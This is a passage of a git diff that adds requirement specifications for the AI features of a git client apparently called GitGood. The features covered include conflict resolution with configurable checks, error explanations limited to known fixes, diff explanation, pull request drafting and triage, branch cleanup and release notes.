contains that manual resolution as a worked example and the result is labelled as guided by that file + +#### Scenario: Retry after failed check +- **WHEN** the user chooses Ask AI to fix after a failed post-resolution check +- **THEN** the request contains the check command and its output tail, and at most one such retry is performed per resolution + ### Requirement: Model output is validated before it is written GitGood SHALL reject the whole resolution when any block's replacement still contains conflict markers, when the response does not match the schema, or when any block is missing a resolution. Resolutions for block ids not present in the file SHALL be ignored. @@ -66,23 +74,35 @@ The resolved file SHALL preserve the original line endings and the text outside - **THEN** nothing is written and the user is told to try again ### Requirement: Resolved files are staged when configured -When the **Mark files as resolved automatically** setting is on, GitGood SHALL run the equivalent of `git add` on the resolved file after writing it; otherwise the file SHALL remain unstaged for the user to mark resolved. +When the **Mark files as resolved automatically** setting is on, GitGood SHALL run the equivalent of `git add` on the resolved file after writing it, unless a post-resolution check is configured and failed, in which case the file SHALL stay resolved on disk but unstaged. Otherwise the file SHALL remain unstaged for the user to mark resolved. #### Scenario: Auto-stage on -- **WHEN** the setting is on and a resolution succeeds +- **WHEN** the setting is on, no check is configured, and a resolution succeeds - **THEN** the file no longer appears as conflicted and the result reports it as staged +#### Scenario: Auto-stage blocked by failed check +- **WHEN** the setting is on and the post-resolution check fails +- **THEN** the resolved content stays on disk, the file is not staged, and the result reports the failed check + ### Requirement: Results are reported with confidence and can be undone -After a resolution GitGood SHALL show a toast with the rationale summary and, when any block is low confidence, the count of low-confidence blocks with the first rationale. The toast SHALL offer **Undo** (or **Undo all** for a multi-file run) which restores the original conflicted content and re-marks the file as unresolved in the index. +After a resolution GitGood SHALL show a toast with the rationale summary and, when any block is low confidence, the count of low-confidence blocks with the first rationale. The toast SHALL offer **Undo** (or **Undo all** for a multi-file run) which restores the original conflicted content and re-marks the file as unresolved in the index. In addition, the resolved file SHALL open in the diff pane with each resolved block's line range tinted by confidence (high, medium, low), a legend whose counts match the toast, and next/previous low-confidence navigation. The conflicts dialog SHALL show a per-file confidence summary and list files with any low-confidence block first. #### Scenario: Low-confidence block - **WHEN** at least one block was resolved with low confidence -- **THEN** the toast says how many blocks were flagged and shows the first rationale +- **THEN** the toast says how many blocks were flagged and shows the first rationale, and the block's range is outlined as low confidence in the diff pane #### Scenario: Undo - **WHEN** the user clicks Undo - **THEN** the file content is restored to the original conflicted content and the index entry is unresolved +#### Scenario: Legend matches toast +- **WHEN** a file with two high, one medium and one low block is resolved +- **THEN** the legend shows counts 2, 1 and 1 and the toast reports one low-confidence block + +#### Scenario: Tints cleared on external edit +- **WHEN** the resolved file changes on disk after the resolution +- **THEN** the confidence tints for that file are removed + ### Requirement: Multi-file resolution runs with progress and cancellation **Resolve all with AI** SHALL resolve every conflicted text file, a few at a time, reporting per-file progress (started, thinking, writing, done, error). A cancel action SHALL abort in-flight requests; files already written stay resolved and files not started are left conflicted. Per-file failures SHALL be reported individually without aborting the other files. @@ -104,3 +124,55 @@ AI failures SHALL be reported with a classified message (not configured, authent #### Scenario: Refusal - **WHEN** the model declines to resolve the file after any fallback - **THEN** the user is told the model declined and to resolve manually or try another model + +### Requirement: Explain-why popover with per-block side selection +Each resolved block SHALL have a gutter badge that opens a popover showing the model's rationale and the original ours, theirs and base text (collapsible), with actions **Accept**, **Use ours**, **Use theirs**, **Use base** (when a base exists) and **Edit in editor**. Choosing a side SHALL rewrite only that block from the pre-resolution snapshot, leave the file modified but not marked resolved until the user confirms, and SHALL be refused when the file on disk no longer matches the AI output. + +#### Scenario: Use theirs for one block +- **WHEN** the user picks Use theirs in the popover for block 2 of a three-block file +- **THEN** only block 2's range is replaced with the theirs text, blocks 1 and 3 keep the AI resolution, and the file is shown as modified and unresolved + +#### Scenario: File changed on disk +- **WHEN** the file content differs from the AI output when a side is chosen +- **THEN** the action is refused with a message that the file changed on disk + +### Requirement: Post-resolution check runs a configured command +When a check command is configured, GitGood SHALL run it in the repository root after each successful AI resolution (single or all), with the same environment as git operations, no interactive prompts, a 5-minute timeout, and its output streamed into the progress toast. A passing check SHALL be reported as passed; a failing or timed-out check SHALL show a banner with the tail of the output, a **Show output** action and an **Ask AI to fix** action. + +#### Scenario: Check passes +- **WHEN** the configured command exits with code 0 +- **THEN** the toast reports Check passed and staging proceeds according to the auto-stage setting + +#### Scenario: Check times out +- **WHEN** the command has not exited after 5 minutes +- **THEN** it is killed and reported as failed with a timed-out reason + +#### Scenario: No check configured +- **WHEN** neither the settings nor the repository provide a check command +- **THEN** no check runs and no check UI is shown + +### Requirement: Repository-provided check commands require trust +A check command read from the repository's `.gitgood/config.json` SHALL take precedence over the user's setting only when the **allow repository check commands** setting is on, SHALL be labelled as coming from the repository, and SHALL NOT run until the user has confirmed it once for that repository after seeing the full command text and the file path. Declining SHALL disable repository commands for that repository until re-enabled. + +#### Scenario: First run in a repository +- **WHEN** a repository provides a check command and the user has not trusted it +- **THEN** a confirmation shows the full command and file path and nothing runs until the user accepts + +#### Scenario: Declined +- **WHEN** the user declines the confirmation +- **THEN** the repository command is not run now or later for that repository, and the user's own setting (if any) is used instead + +### Requirement: Manual resolutions are captured as examples for the current operation +When the user marks a conflicted file as resolved after editing it or after per-block side selection, GitGood SHALL record the pair of original conflicted content and resolved content in memory for the current merge, rebase, cherry-pick or revert. The conflicts dialog SHALL offer **Resolve remaining like ``** whenever at least one example exists and other text conflicts remain. Examples SHALL persist across rebase continue steps and SHALL be discarded when the operation completes or is aborted or the app exits, and SHALL never be written to disk. + +#### Scenario: Offer appears after one manual resolution +- **WHEN** the user resolves one of three conflicted files by hand and marks it resolved +- **THEN** the conflicts dialog shows Resolve remaining like that file + +#### Scenario: Examples cleared on abort +- **WHEN** the user aborts the merge +- **THEN** recorded examples are discarded and the guided action is no longer offered + +#### Scenario: Single conflicted file +- **WHEN** only one file is conflicted +- **THEN** the guided action is not shown diff --git a/openspec/specs/ai-error-explanation/spec.md b/openspec/specs/ai-error-explanation/spec.md new file mode 100644 index 0000000..99531c4 --- /dev/null +++ b/openspec/specs/ai-error-explanation/spec.md @@ -0,0 +1,87 @@ +# ai-error-explanation Specification + +## Purpose +Explains a failed git or GitHub operation in plain language and offers fixes that map only onto actions GitGood already provides, so the user gets a next step without leaving the error dialog. + +## Requirements + +### Requirement: Explanation is offered for eligible errors only +The error dialog SHALL show a collapsed **Explain with AI** row when an AI provider is configured and the error is not one that already has a dedicated guided flow (conflicts, authentication failure, GitHub not signed in, AI not configured, cancelled). The row SHALL be absent when the provider is `disabled`. + +#### Scenario: Unknown error +- **WHEN** a push fails with an unclassified error +- **THEN** the dialog shows the raw output and a collapsed Explain with AI row + +#### Scenario: Error with dedicated flow +- **WHEN** an operation stops with conflicts +- **THEN** the conflicts flow opens and no Explain with AI row is shown + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** the error dialog has no Explain with AI row + +### Requirement: Explanation content and structure +On request GitGood SHALL show, inside the dialog, a one- or two-sentence **What happened**, a **Likely cause**, and up to three **Suggested fixes** ordered from least to most destructive. The request SHALL be cancellable and a backend failure SHALL show a retry affordance while keeping the raw output visible. When the explanation yields no valid fixes, only the explanation text SHALL be shown. + +#### Scenario: Successful explanation +- **WHEN** the model responds +- **THEN** the dialog shows what happened, the likely cause and the fix buttons without closing + +#### Scenario: Backend failure +- **WHEN** the AI request fails +- **THEN** the row shows that no explanation could be obtained and offers Retry + +### Requirement: Fixes map only onto known actions +Each fix SHALL either name an action from a fixed set (fetch, pull, fetch and pull, push with upstream, force push with lease, stash and retry, discard and retry, remove stale lock file, abort merge/rebase/cherry-pick/revert, continue rebase, open sign-in, open remote settings, open identity settings, rename branch, open in terminal) or be copy-only with a single `git` or `gh` command. A fix naming an unknown action SHALL become copy-only if it has a command and SHALL be dropped otherwise. Copy-only commands containing shell operators or not starting with `git ` or `gh ` SHALL be dropped. At most three fixes SHALL be kept and text fields SHALL be capped at 500 characters. + +#### Scenario: Unknown action with command +- **WHEN** a fix names an action outside the set but includes `git fetch --prune` +- **THEN** it is shown as a copy-only fix + +#### Scenario: Chained command +- **WHEN** a copy-only fix contains `git fetch && git pull` +- **THEN** the fix is dropped + +### Requirement: Fixes respect repository state and risk +Fixes whose action does not apply to the current repository state SHALL be dropped (for example continue rebase when no rebase is in progress, or push with upstream when an upstream exists). The risk shown for an action fix SHALL be the higher of the model's classification and the action map's own classification. A fix flagged to retry the original operation SHALL only do so when the failed operation is retryable. + +#### Scenario: Inapplicable fix +- **WHEN** the model suggests continue rebase and no rebase is in progress +- **THEN** that fix is not shown + +#### Scenario: Risk override +- **WHEN** the model labels force push with lease as safe +- **THEN** the fix is shown as touching the remote + +### Requirement: Fix execution goes through existing operations and confirmations +Clicking an action fix SHALL close the dialog and run the mapped operation through the same path as the manual action, including its confirmation dialogs (force push, discard). Copy-only fixes SHALL offer a copy action and **Run in terminal**, which opens the configured shell at the repository without executing the command. No fix SHALL run automatically. The remove-lock-file fix SHALL refuse when a git process is running or the lock file is younger than 10 seconds, and SHALL require confirmation otherwise. + +#### Scenario: Publish branch fix +- **WHEN** the user clicks the push with upstream fix after a no-upstream failure +- **THEN** the push runs with set-upstream and, if the original operation was retryable, it is retried after success + +#### Scenario: Run in terminal +- **WHEN** the user clicks Run in terminal on a copy-only fix +- **THEN** the shell opens at the repository and the command is not executed + +#### Scenario: Fresh lock file +- **WHEN** `.git/index.lock` is younger than 10 seconds or a git process is running +- **THEN** the remove-lock-file fix refuses and explains why + +### Requirement: Diagnostic output is scrubbed before it leaves the process +Before stderr, stdout or commands are sent to the model, GitHub tokens, bearer tokens, URL user info and API key values SHALL be masked, and each stream SHALL be limited to its last 4,000 characters. Remote information sent SHALL include names and hosts only. + +#### Scenario: Token in stderr +- **WHEN** stderr contains a `ghp_` token or an `https://user:password@host` URL +- **THEN** the prompt contains masked placeholders instead of the secret values + +### Requirement: Automatic explanation is limited to unclassified errors +When the **explain errors automatically** setting is on, the explanation SHALL load as soon as the dialog opens only for unclassified errors; classified errors SHALL still require the explicit click. When offline, the row SHALL say the app appears to be offline and SHALL NOT retry automatically. + +#### Scenario: Automatic mode on classified error +- **WHEN** the setting is on and a non-fast-forward push fails +- **THEN** the row stays collapsed until clicked + +#### Scenario: Offline +- **WHEN** the AI request fails with a network error +- **THEN** the row reports that the app appears to be offline and does not retry on its own diff --git a/openspec/specs/ai-explain-diff/spec.md b/openspec/specs/ai-explain-diff/spec.md new file mode 100644 index 0000000..29a9cdc --- /dev/null +++ b/openspec/specs/ai-explain-diff/spec.md @@ -0,0 +1,98 @@ +# ai-explain-diff Specification + +## Purpose +Explains a commit, a file's changes or a selected range of lines in plain language, so an engineer who did not write the change can understand what it does and what to check. + +## Requirements + +### Requirement: Explain entry points +The system SHALL offer Explain for a selected commit in History (header button and context menu), for the selected file's diff in History and Changes (diff pane header), and for a selected range of lines in a text diff (context menu). All entry points SHALL be hidden when the AI provider is disabled. For binary, image, submodule or too-large diffs the file-level entry SHALL be shown as not actionable with the reason. + +#### Scenario: Commit in History +- **WHEN** the provider is enabled and a commit is selected in History +- **THEN** an Explain commit action is available in the commit header and the commit context menu + +#### Scenario: Selected lines +- **WHEN** the user selects a range of lines in a text diff and opens the context menu +- **THEN** an Explain selected lines action is available + +#### Scenario: Binary file +- **WHEN** the selected file's diff is binary +- **THEN** the Explain action for the file is not actionable and shows "Nothing to explain" + +#### Scenario: Provider disabled +- **WHEN** the provider setting is `disabled` +- **THEN** no Explain action is rendered anywhere + +### Requirement: Explanation content and structure +An explanation SHALL be presented in four sections: What changed, Why (inferred), Impact and Watch out for. Inferred intent MUST be visibly separated from observed changes. The explanation MUST NOT restate the diff line by line. Text sections SHALL be capped at 2,000 characters each and Watch out for at 8 items. An explanation with an empty What changed section SHALL be rejected as invalid output. + +#### Scenario: Successful explanation +- **WHEN** the user explains a commit that changes a default value +- **THEN** the panel shows the four sections and the impact section mentions the changed default + +#### Scenario: Empty result +- **WHEN** the model returns an empty What changed section +- **THEN** the panel shows an error with Retry and no partial explanation is rendered + +### Requirement: Line references resolve to the diff +References in the explanation SHALL be rendered as path and line links. Every rendered reference MUST point at a path in the explained target and at a line present on the new side of the visible diff, or carry no line. References that fail this check SHALL be removed. Clicking a reference SHALL scroll the diff to that line. + +#### Scenario: Valid reference +- **WHEN** the explanation references a line that exists in the diff +- **THEN** the reference is rendered as a link and clicking it scrolls the diff to that line + +#### Scenario: Invalid reference +- **WHEN** the model returns a reference to a path not in the target or a line not in the diff +- **THEN** that reference is not rendered + +### Requirement: Scope-specific context +For a commit, the explanation SHALL use the commit message, author, date, changed files, per-file patches and up to five recent commits per file. For a file, it SHALL use the loaded diff and the new-side content when available. For a range, it SHALL use the selected lines with surrounding context from both sides. Merge commits SHALL be explained against their first parent and identified as merges; root commits SHALL be explained against the empty tree; renamed files SHALL be referenced by their new path. + +#### Scenario: Merge commit +- **WHEN** the user explains a merge commit +- **THEN** the explanation is produced from the diff against the first parent and states the commit is a merge + +#### Scenario: Root commit +- **WHEN** the user explains the repository's first commit +- **THEN** the explanation states the files are new and no error occurs + +#### Scenario: Renamed file +- **WHEN** the commit renames a file and edits it +- **THEN** references use the new path + +### Requirement: Size limits and partial explanations +Input sent to the model SHALL be capped at 120,000 bytes; when a commit exceeds it, the largest files SHALL be truncated first, omitted files SHALL be listed to the model, and the panel SHALL show a partial badge. Binary files SHALL be described by name only. + +#### Scenario: Huge commit +- **WHEN** a commit's patches exceed the byte cap +- **THEN** the explanation is produced from the truncated input and the panel shows a partial badge + +### Requirement: Follow-up questions +The panel SHALL let the user ask up to five follow-up questions about the same target. Each follow-up SHALL reuse the original context and the previous answers. The counter of remaining turns SHALL be visible. + +#### Scenario: Follow-up within limit +- **WHEN** the user asks "why was the null check removed?" after an explanation +- **THEN** an answer appears under the explanation and the remaining-turn counter decreases by one + +#### Scenario: Limit reached +- **WHEN** five follow-ups have been asked +- **THEN** the input is not actionable and states the limit + +### Requirement: Copy as Markdown +The panel SHALL offer Copy as Markdown, producing the four sections with the commit SHA (when the target is a commit) and the referenced paths, suitable for pasting into a pull request comment. + +#### Scenario: Copy +- **WHEN** the user clicks Copy as Markdown on a commit explanation +- **THEN** the clipboard contains Markdown with the SHA, section headings and path references + +### Requirement: Loading, cancellation and errors +While an explanation is in progress the panel SHALL show a loading state and a Cancel action. Cancelling SHALL return the panel to idle. A backend error SHALL show the classified message with Retry. No repository content SHALL be written and no GitHub call SHALL be made by this capability. + +#### Scenario: Cancel +- **WHEN** the user cancels a running explanation +- **THEN** the call is aborted and the panel returns to idle + +#### Scenario: Backend error +- **WHEN** the backend fails with a network error +- **THEN** the panel shows the error message and a Retry action diff --git a/openspec/specs/ai-pr-description/spec.md b/openspec/specs/ai-pr-description/spec.md new file mode 100644 index 0000000..c70cb15 --- /dev/null +++ b/openspec/specs/ai-pr-description/spec.md @@ -0,0 +1,114 @@ +# ai-pr-description Specification + +## Purpose +Lets a user draft a pull request title and body with AI from the branch's commits, diff and PR template, so the Create pull request dialog starts filled in and only needs review. + +## Requirements + +### Requirement: Draft action availability +The Create pull request dialog SHALL offer a **Draft with AI** action next to the title field. The action SHALL be hidden when the AI provider is set to disabled, and SHALL be shown but not actionable, with an explanatory tooltip, when the head branch has no commits ahead of the base branch or when the base ref is not available locally. + +#### Scenario: Provider disabled +- **WHEN** the AI provider setting is `disabled` and the user opens the Create pull request dialog +- **THEN** no Draft with AI action is rendered anywhere in the dialog + +#### Scenario: No commits ahead of base +- **WHEN** the head branch has zero commits that are not on the base branch +- **THEN** the Draft with AI action is visible but not actionable and its tooltip says there is nothing to draft + +#### Scenario: Base ref missing locally +- **WHEN** the selected base branch has no local ref (for example an unfetched fork upstream) +- **THEN** the action is not actionable and the tooltip says the base branch must be fetched first, and no fetch is started automatically + +### Requirement: Draft content from commits and diff +On activation the system SHALL gather the commits ahead of the base branch, the combined diff against the merge base, the branch name and, when present, the repository's PR template, and SHALL produce a title and body from one AI call. The title SHALL be imperative, at most 72 characters when possible and never more than 256, with no trailing period. The body SHALL explain intent and notable decisions rather than list files. + +#### Scenario: Successful draft +- **WHEN** the user activates Draft with AI on a branch with commits ahead of base and empty title and body fields +- **THEN** the title and body fields are filled with the drafted content and remain editable + +#### Scenario: Title normalization +- **WHEN** the model returns a title with a trailing period or longer than 256 characters +- **THEN** the trailing period is removed and the title is truncated to 256 characters before it is shown + +#### Scenario: Empty title from model +- **WHEN** the model returns an empty title +- **THEN** the draft is rejected as invalid output, the fields keep their previous values and an error toast is shown + +### Requirement: Template preservation +When the repository has a PR template, the drafted body MUST contain every heading from the template in the original order, with each section filled with relevant content or the literal `_N/A_`. Checkboxes in the template SHALL be kept and ticked only when the diff clearly satisfies them. If the returned body violates the heading order, the system SHALL rebuild the body by placing the drafted paragraphs under the first heading and appending the rest of the template verbatim, and SHALL tell the user the template structure was restored. + +#### Scenario: All headings survive +- **WHEN** the repository has a template with headings `## Summary`, `## Testing`, `## Checklist` and the user drafts +- **THEN** the body contains those three headings in that order and no heading is missing + +#### Scenario: Model drops a heading +- **WHEN** the model returns a body that omits or reorders a template heading +- **THEN** the body is rebuilt with the template's headings in order and the callout reads "Template structure restored" + +#### Scenario: Template with CRLF line endings +- **WHEN** the template file uses CRLF line endings +- **THEN** the drafted body uses the template's line endings + +### Requirement: Issue linking from commits +The system SHALL extract issue references (`#N`, `Fixes #N`, `owner/repo#N`) from the commit messages, ignoring references inside code spans, and SHALL include only those references in the body. A reference SHALL use a closing keyword only when a commit message contains a closing keyword (`fix`, `fixes`, `fixed`, `close`, `closes`, `closed`, `resolve`, `resolves`, `resolved`) for that issue; otherwise it SHALL be included as a plain reference. When GitHub authentication is available, up to 5 distinct issue titles MAY be fetched to inform the body; when unavailable the draft SHALL still succeed without titles. + +#### Scenario: Closing keyword in a commit +- **WHEN** a commit message contains "Fixes #42" +- **THEN** the body links issue 42 with a closing keyword + +#### Scenario: Plain mention in a commit +- **WHEN** a commit message contains "see #17" and no commit uses a closing keyword for 17 +- **THEN** the body references issue 17 without a closing keyword, even if the model proposed one + +#### Scenario: Model invents an issue +- **WHEN** the model returns an issue number that appears in no commit message and not in the existing body +- **THEN** that issue is not included in the body + +#### Scenario: Signed out of GitHub +- **WHEN** the GitHub CLI is not authenticated +- **THEN** the draft completes with issue numbers but without fetched issue titles + +### Requirement: Protection of user-entered content +If the title or body already contains user-entered text when the draft finishes, the system MUST ask the user to Replace, Keep mine or Append before changing the fields. + +#### Scenario: Existing content +- **WHEN** the user has typed a body and then activates Draft with AI +- **THEN** a prompt offers Replace, Keep mine and Append, and the fields change only according to the choice + +#### Scenario: Append chosen +- **WHEN** the user chooses Append +- **THEN** the drafted body is added after the existing text and the existing title is kept unless it was empty + +### Requirement: Progress, cancellation and failure handling +While drafting, the title and body fields SHALL be read-only, a progress indicator SHALL be shown and a Cancel action SHALL be available. Cancelling or a backend failure MUST restore the fields to their previous values, and a failure SHALL show the classified error message. + +#### Scenario: Cancel during draft +- **WHEN** the user cancels while the draft is in progress +- **THEN** the AI call is aborted and the title and body show exactly what they showed before the draft started + +#### Scenario: Backend error +- **WHEN** the AI backend returns an authentication, network or truncation error +- **THEN** a toast shows the classified message and the fields are restored + +### Requirement: Size limits and disclosure +The diff sent to the model SHALL be capped at 120,000 bytes and flagged as truncated when cut; the commit list SHALL be capped at 100 entries and summarized to subjects only above 400 commits; the template SHALL be capped at 6,000 characters. The first time a user drafts, the system SHALL show a dismissable notice that the diff and commit messages are sent to the configured AI provider. + +#### Scenario: Oversized diff +- **WHEN** the combined diff exceeds 120,000 bytes +- **THEN** the model receives the full stat, a truncated diff and a truncated flag, and the resulting draft is still accepted + +#### Scenario: First use notice +- **WHEN** a user drafts for the first time on this installation +- **THEN** a dismissable notice states what data is sent to the provider + +### Requirement: Attribution and no automatic submission +The drafted body SHALL show an "AI drafted, review before creating" callout that disappears once the user edits the body or creates the PR. When the AI footer setting is enabled and the body still originates from the draft at create time, the system SHALL append an AI-drafted footer. The draft MUST NOT create the pull request, mark it ready or request reviewers. + +#### Scenario: Footer appended on create +- **WHEN** the footer setting is on, the body was drafted and the user clicks Create pull request +- **THEN** the created PR body ends with the AI-drafted footer + +#### Scenario: Draft never submits +- **WHEN** the draft completes +- **THEN** no pull request exists on GitHub until the user clicks Create pull request diff --git a/openspec/specs/ai-pr-triage/spec.md b/openspec/specs/ai-pr-triage/spec.md new file mode 100644 index 0000000..ccd50e7 --- /dev/null +++ b/openspec/specs/ai-pr-triage/spec.md @@ -0,0 +1,79 @@ +# ai-pr-triage Specification + +## Purpose +Gives each open pull request a short AI-written triage line and a deterministic state so the user can see at a glance what a PR does, who it is waiting on and what to do next. + +## Requirements + +### Requirement: Triage lines appear in the pull request list +Each pull request row SHALL show a triage line (state chip plus one-sentence summary, at most 140 characters) when a cached line exists for the PR's current `updatedAt`, and an empty slot otherwise. Hovering the line SHALL show the full summary and the reason for the state. Triage UI SHALL be absent when the AI provider is `disabled`. + +#### Scenario: Cached line +- **WHEN** the PR dialog opens and a line is cached for the PR's current update time +- **THEN** the row shows the state chip and summary without any AI call + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** no triage lines, buttons, filters or badges are shown + +### Requirement: Summarize generates lines only for PRs without a fresh cache +The header SHALL offer **Summarize N pull requests** where N counts open PRs with no cached line for their current `updatedAt`. Running it SHALL request lines in batches of at most 15 PRs per model call, fill rows progressively, report progress, and be cancellable between batches. PRs missing from a batch response SHALL be retried once individually and otherwise marked as not summarized. A backend failure SHALL keep existing cached lines. + +#### Scenario: Partial cache +- **WHEN** 20 PRs are open and 5 have fresh lines +- **THEN** the button reads Summarize 15 pull requests and running it requests exactly those 15 + +#### Scenario: Cancel between batches +- **WHEN** the user cancels after the first batch of a 40-PR run +- **THEN** the first 15 lines are kept and no further batch is requested + +#### Scenario: Missing item +- **WHEN** the batch response omits one PR number +- **THEN** that PR is retried alone once and, if still missing, shown as not summarized + +### Requirement: Inputs are metadata, not diffs +Requests SHALL include for each PR: number, title, body (capped at 1,500 characters), author, draft flag, base and head, head repository for cross-repository PRs, labels, review decision, review requests, latest reviews (author and state), checks summary with failing check names, mergeability, update time and age, and file statistics when the diff-stat setting is on (capped at 50 files). No diff content SHALL be sent. The signed-in login SHALL be included so the model can classify waiting-on-you. + +#### Scenario: Diff stat off +- **WHEN** the include-diff-stat setting is off +- **THEN** the request contains no per-file statistics + +#### Scenario: Fork PR +- **WHEN** a PR comes from a fork +- **THEN** the request names the head repository + +### Requirement: Deterministic state rules override the model +Each PR's state SHALL be cross-checked in code: draft → draft; conflicting mergeability → conflicts; failing checks on the user's own PR → waiting on author; an explicit review request for the signed-in user → waiting on you; no activity for 14 days → stale. Where these rules are decisive the code value SHALL replace the model's. A next action of merge SHALL be downgraded to none unless the PR is mergeable, checks pass and the review decision is approved. Summaries SHALL be capped at 140 characters and reasons at 200. + +#### Scenario: Draft mislabelled +- **WHEN** the model returns ready to merge for a draft PR +- **THEN** the row shows draft + +#### Scenario: Merge downgraded +- **WHEN** the model suggests merge for a PR whose checks are failing +- **THEN** the next action is none + +### Requirement: Waiting on you filter and badge agree +A **Waiting on you** toggle SHALL filter the list to PRs in that state and the dialog title SHALL show the count. The toolbar pull request button SHALL show the same count as a badge, updated when the PR poller refreshes. + +#### Scenario: Two PRs waiting +- **WHEN** two open PRs are classified waiting on you +- **THEN** the filter shows exactly those two and the toolbar badge reads 2 + +### Requirement: Cache freshness and eviction +Lines SHALL be cached per repository and PR number keyed by `updatedAt`. When a PR's `updatedAt` changes, its line SHALL be shown dimmed as stale and refreshed on the next Summarize, or automatically when the auto-refresh setting is on. Entries for closed or merged PRs, and entries older than 30 days, SHALL be evicted. Cached lines SHALL be shown offline with Summarize disabled and a tooltip explaining why. + +#### Scenario: PR updated +- **WHEN** the poller reports a new update time for a PR with a cached line +- **THEN** the line is dimmed and counted in the next Summarize + +#### Scenario: PR merged +- **WHEN** a PR with a cached line is merged +- **THEN** its cache entry is removed + +### Requirement: Next actions open existing flows only +Clicking a suggested next action (review, checkout, view checks, merge, rebase, ping author) SHALL open the corresponding existing dialog or action and SHALL NOT merge, review, comment or notify anyone by itself. + +#### Scenario: Merge action +- **WHEN** the user clicks the merge next action +- **THEN** the existing merge dialog opens and nothing is merged until the user confirms there diff --git a/openspec/specs/ai-rebase-assistant/spec.md b/openspec/specs/ai-rebase-assistant/spec.md new file mode 100644 index 0000000..024490d --- /dev/null +++ b/openspec/specs/ai-rebase-assistant/spec.md @@ -0,0 +1,95 @@ +# ai-rebase-assistant Specification + +## Purpose +Proposes and applies a user-approved cleanup of the commits on the current branch (squash, reword, reorder, drop) so a branch is tidy before it becomes a pull request. + +## Requirements + +### Requirement: Entry points and preconditions +The Branch menu SHALL offer **Tidy up branch with AI** and the History context menu SHALL offer it for a multi-selection of commits. The action SHALL be hidden when the AI provider is disabled, and SHALL be not actionable with a reason when the current branch is the default branch or when merge commits are in the selected range. A dirty working tree SHALL trigger the existing uncommitted-changes handling (stash or cancel) before planning. + +#### Scenario: Default branch +- **WHEN** the current branch is the repository's default branch +- **THEN** the action is not actionable and the reason names the default branch + +#### Scenario: Merge commits in range +- **WHEN** the range between base and HEAD contains a merge commit +- **THEN** no AI call is made and a callout explains that merges cannot be rewritten + +#### Scenario: Dirty working tree +- **WHEN** the user activates the action with uncommitted changes +- **THEN** the uncommitted-changes dialog offers to stash first, and planning starts only after the tree is clean + +### Requirement: Pre-flight +Before proposing, the system SHALL show the base branch (default branch or the current branch's upstream, editable), the number of commits in range, and whether any of them are already on the remote, with a warning that applying will require a force push. + +#### Scenario: Pushed commits in range +- **WHEN** three of six commits are on the remote +- **THEN** the pre-flight warns that three commits are on the remote and a force push will be needed + +#### Scenario: Base not found +- **WHEN** the entered base ref does not exist +- **THEN** the base field shows an error and Propose is not actionable + +### Requirement: Plan completeness and validity +Every commit in range MUST appear exactly once in the plan, oldest first. Commits the model omits SHALL be added as pick; unknown or duplicate entries SHALL be removed with a warning. A squash target MUST be an earlier row that is not dropped; otherwise the row becomes pick. Trailers present in an original message (for example Co-authored-by, Signed-off-by) MUST be present in the proposed message, re-appended if missing. A drop of a non-empty commit that is not part of a revert pair SHALL be downgraded to pick with a warning unless the user opts in. Summary lines SHALL be capped at 120 characters and bodies wrapped at 72. A plan that changes nothing SHALL be reported as "already tidy". + +#### Scenario: Omitted commit +- **WHEN** the model's plan lacks one commit from the range +- **THEN** that commit appears in the plan as pick in its original position + +#### Scenario: Invalid squash target +- **WHEN** a row squashes into a later row or into a dropped row +- **THEN** the row becomes pick and a warning is shown + +#### Scenario: Trailer preserved +- **WHEN** the original message ends with a Co-authored-by trailer and the model's reword omits it +- **THEN** the proposed message contains the trailer + +#### Scenario: Nothing to do +- **WHEN** every row is pick with unchanged order and messages +- **THEN** the dialog says the branch already looks tidy and offers no Apply + +### Requirement: Editable plan with preview +The plan dialog SHALL show one row per commit with the action (pick, squash-into, reword, drop), original message, proposed message, rationale and a pushed indicator. The user SHALL be able to change actions, edit messages, drag to reorder and reset a row to its original. **Preview result** SHALL show the resulting commit list as History would render it, and Apply SHALL produce exactly the previewed history. + +#### Scenario: Edit then apply +- **WHEN** the user changes a squash row to pick and edits another row's message, then applies +- **THEN** the resulting history keeps the un-squashed commit and uses the edited message + +#### Scenario: Preview matches result +- **WHEN** the user opens Preview result and then applies +- **THEN** History shows the same commits, order and messages as the preview + +### Requirement: Application, conflicts and undo +Apply SHALL rewrite history using the existing squash, reword, reorder and drop operations with step progress. A conflict during apply SHALL surface the standard conflicts banner with Continue and Abort; Abort MUST restore the branch to the recorded start commit. After completion, a toast SHALL offer **Undo** for ten minutes, which resets the branch to the start commit when the working tree is clean. When rewritten commits were on the remote, the toast SHALL remind the user that a force push with lease is needed and link to the existing force-push flow. Nothing is pushed by this capability. + +#### Scenario: Conflict during reorder +- **WHEN** a reorder step produces a conflict +- **THEN** the conflicts banner appears and choosing Abort leaves HEAD at the recorded start commit + +#### Scenario: Undo +- **WHEN** the user clicks Undo in the completion toast +- **THEN** HEAD is the recorded start commit and the working tree is clean + +#### Scenario: Pushed commits rewritten +- **WHEN** the applied plan rewrote commits that were on the remote +- **THEN** the toast says a force push with lease is required and links to the force-push dialog + +### Requirement: Safety warnings +When commit signing is enabled for the repository, the pre-flight SHALL warn that rewriting drops signatures. A commit-msg hook rejection during apply SHALL stop the sequence and show the hook output. + +#### Scenario: Signing enabled +- **WHEN** commit signing is configured for the repository +- **THEN** the pre-flight shows a signatures warning + +#### Scenario: Hook rejects a message +- **WHEN** a reword is rejected by a commit-msg hook +- **THEN** the apply stops at that step and the hook output is shown + +### Requirement: Progress and cancellation +Planning SHALL show progress and be cancellable; cancelling SHALL leave the repository untouched. Planning input SHALL be capped at 60 commits with per-commit patch excerpts of at most 8,000 bytes and 120,000 bytes in total, flagged as truncated when cut. + +#### Scenario: Cancel planning +- **WHEN** the user cancels while the plan is being proposed +- **THEN** no history is rewritten and the dialog closes diff --git a/openspec/specs/ai-release-notes/spec.md b/openspec/specs/ai-release-notes/spec.md new file mode 100644 index 0000000..0c93893 --- /dev/null +++ b/openspec/specs/ai-release-notes/spec.md @@ -0,0 +1,73 @@ +# ai-release-notes Specification + +## Purpose +Produces categorized, reference-checked release notes for a commit range and lets the user insert them into the changelog or publish a GitHub release from one dialog. + +## Requirements + +### Requirement: Release notes dialog and range selection +A **Release notes…** action SHALL be available from the Repository menu and from a tag's History context menu (as notes since the previous tag). The dialog SHALL offer From (default: latest tag reachable from HEAD, or the root commit with a note when no tag exists), To (default: HEAD), a version name (default: next patch of the From tag when it is semver, otherwise blank), an include-PR-titles option (on when the repository has a GitHub remote and the user is signed in), and an audience of users or developers. Generation SHALL be hidden when the AI provider is `disabled`, while a plain commit-list export SHALL remain available. + +#### Scenario: Defaults with a semver tag +- **WHEN** the 